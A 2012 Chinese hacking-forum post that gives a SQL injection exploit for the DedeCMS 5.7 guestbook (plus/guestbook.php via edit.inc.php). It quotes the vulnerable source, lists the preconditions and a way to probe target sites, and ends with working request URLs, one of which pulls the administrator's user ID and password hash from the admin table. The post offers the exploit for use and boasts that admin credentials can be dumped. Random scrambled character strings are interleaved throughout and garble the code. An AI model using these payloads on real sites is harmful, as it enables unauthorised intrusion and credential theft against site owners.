找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3745|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7# s% N$ B6 |  M8 e9 v4 V3 u5 @1 O

* C) N0 U% G* L7 i% @+ q漏洞文件edit.inc.php具体代码:
( ~5 y  d& K8 e' R9 {2 b4 l) s2 ]* m9 b) X9 u
< ?php  
" o& E9 n) K% D  W  N& D3 ?$ U+ o0 E1 ~  s
if(!defined('DEDEINC')) exit('Request Error!');  
5 {$ Y) t& c- j6 E( A( ?9 m5 m
% J1 G/ a3 Y  A: e+ V   - \6 D3 @9 g0 W  H6 k  _

- X+ w+ R4 D0 |! p$ u. ^; e/ \0 Gif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  8 F: v, |4 y- a
0 Q/ p8 q3 |7 W
else $GUEST_BOOK_POS = "guestbook.php";  
7 x4 T4 k* x# J  h
: s" V: a- U$ A0 B6 D) J: G   5 ], [6 s' `* Q$ l$ S9 b  L
& ]8 Q' \3 {: u
$id = intval($id);  
* |2 l% S+ s; y5 S5 e2 T0 |
: D( y9 v1 K; e) C' e1 s1 qif(empty($job)) $job='view';  
! t, N, V. Q& H7 ~0 I. L
, T8 ^) M0 u5 Y9 o% ?; v   
, V8 W) {& O* i& w6 V% a$ c1 I/ k7 G& @& _9 ^8 }
if($job=='del' && $g_isadmin)  0 S/ ?% {" z3 @
& T+ ]& {3 A8 ]" R2 q) V
{  , W$ S5 z. J: E8 p

1 d7 ?* d" X8 Q* ^: B0 S$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  7 m7 n! r: i% y

: Y) q7 z+ R; j; q. {/ i) pShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  3 l4 d. f" ?) N& i

$ }# d8 V5 w4 vexit();  
1 a, o8 Z& C8 h. i/ r* X5 D
) {5 [  b9 ?; x/ K7 I5 m  b9 g}  & U" n" m- F/ ?0 U' J* O8 s$ `

  }. X; `0 Q% N3 Oelse if($job=='check' && $g_isadmin)  1 c1 J8 D/ `2 n
8 Q0 N  w7 i% q
{  ) N. E& e0 K2 |5 T- O8 M
' i9 U: E0 B! _0 |6 S! r
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
  _8 W0 a" R- Z" ]" f; s5 Q
  l$ W' _" _4 g# Z5 fShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
5 h6 D# M) t% L* i5 w) E. C: B5 _: I5 W2 |: a2 w* Z7 `; W5 ~
exit();  ( p/ E. s2 L; P- L- w
( `4 i: V7 t9 b2 G' v( `# @7 D
}  3 s; S+ k' u, e3 z
1 a1 d: O  ^7 _8 ~1 ~4 e
else if($job=='editok')  
& z- [' [# u' E% K9 Z
/ T2 j4 }* z! z7 L6 `{  
7 e+ n+ H0 B* N* p) j: v
, ?0 f4 e" n# R" ?1 k$remsg = trim($remsg);  
3 Z+ G2 R* [1 }$ {! ?) f9 I4 P& V! S  P4 V
if($remsg!='')  " s/ u0 K% o* q1 Z  }

* v  g; w& i6 ?1 A/ Z0 {2 j$ D, s{  : G8 N9 P  C/ @/ R
, t3 {0 }% s& k0 Y
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
5 s# U, F# e& Z' V( H9 C6 [4 s; R
8 ?! ^7 B8 V" H: j2 I% iif($g_isadmin)  
4 g( t4 y+ ~7 v/ Y- d. d
( r/ Q6 J6 H) n1 M- K" L{  
2 n( B) X9 X4 H8 i( `: g
9 e! s" G7 X) W. T3 U: C$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
+ Y! g2 e4 r5 a$ ?$ c) t9 \; @5 @# K
//$remsg <br /><font color=red>管理员回复:</font> }  
- s. y7 ~' i) G% D' Z0 A/ ?( O: L! g
else 5 `- J3 `! q" c. m1 \+ t
  o( K: u! L# h0 v
{  
. ]& g; X( ?% \* i$ K; e
' `% m2 q/ x* F4 V! i$ ^$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
: s% ^8 |. o1 l$ D/ v- v: K
& M  E$ f1 k' U! t- X/ @/ X$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  ! L" t9 s- ~" F# ~/ `0 u

/ V0 |6 `% B6 [. q; d$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
0 w5 p" W: L( h! u! i4 m9 @) T3 b% s7 c
$msg = $oldmsg.$remsg;  
! W4 Y6 n5 u$ Q: ^6 @
5 A# @* K4 s8 p9 ]5 \, X}  $ A) A- H1 q% L) }' [

+ I0 F0 l: z9 L& f3 _- e2 o}  
  L. I2 [3 U4 J9 j4 H3 [0 `% s0 K  R0 ^
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
9 u$ r, J7 Y9 v3 \# F( |) p+ U1 H" V0 l6 y2 N8 B" e8 v
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
  b) f2 U) E% i4 h1 w0 N% m$ M, V; J: y  e2 P% g9 T3 a
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
5 K( {+ e. J' ]- s; H) R, ?5 Y5 D1 @, J4 N2 ^2 T& W( `+ \
exit();  
6 ^" D7 M0 k! X/ B! S+ u: J, j: R( J* l
}  
& h6 s6 _2 t7 p$ d8 N5 g+ y% N& O0 m3 ~# V% f9 E+ v9 ]
//home:www.errs.cc  
8 @0 \% H$ b8 U  V: X8 f  u' [+ E8 p( m; R9 C( W6 N
if($g_isadmin)  3 t" Y2 `2 W$ R6 \; P1 n" e

& h2 ^- S& P& N4 m4 \# T{  ( b5 r, C! e, ?: ^8 ?% n& M

, Q# _8 K( V6 G* z4 g& B$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
) m* c4 u0 g' q8 Y, Y  N
4 c4 V: P  q' W  F* Mrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
0 M& U0 [; h# |5 L0 }5 y6 M7 n, }' `5 u4 E- S7 C9 z- q% T, ]1 I
}  $ k0 d' C1 E( l5 }- \* r9 O

0 U' F, Q1 \2 F1 e/ Lelse
0 B% V3 V! C. H5 I6 u! ?) \+ w" Q% K8 [4 s+ ?( |. l$ |  N
{  % r7 w. o. m& u5 w/ d) ^
9 v3 U; _# [" y3 T& K/ a' X
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
/ a) e5 M& G) d/ c$ v
. ~/ p! Y% L7 _0 g( crequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  9 t+ ]# n7 R3 q4 K; U% T; F
8 a0 h  d9 s) g3 F9 c" q. D
} 漏洞成功需要条件:
) `3 n! U+ ]" b1. php magic_quotes_gpc=off
& x4 w9 G! E4 \, f' \2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
, V/ t+ P6 `2 E
0 {- ^, b' Q/ R怎么判断是否存在漏洞:( W8 K0 |0 G0 Z# Y& L' V& L
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
+ Z# m/ s6 X6 k: }然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID; U: J2 L+ `, H) a2 n
访问:
) j- h' U. W# S9 W+ c) F  z4 J' w) b& L
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了" ]5 R5 X: J; ~0 b' v
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证4 G4 X$ t0 m) Z$ g  H4 q* I3 R

& i3 L$ T+ T& B7 O1 g* N0 F
. O4 E6 E4 s/ j: P4 b7 x明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
! i& g2 Z+ P" l: B$ {如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。5 }* d1 w# E2 ?1 h8 y
那么再次访问2 J4 i9 g- }) |+ Y0 d3 F  t9 L
& G- D' k3 O* Q7 m! f( m
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().. r' P) V* _' R, P% M8 ?! a

; r/ Z* D  W2 ?# _大概利用就是这样,大家有兴趣的多研究下!!
0 {: f8 ~, a5 X  U
) L& g0 z9 E8 m最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!. W/ P4 ~8 C! J6 Y' Q/ l4 H
8 J/ q$ |8 H1 s& |4 Y  h
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表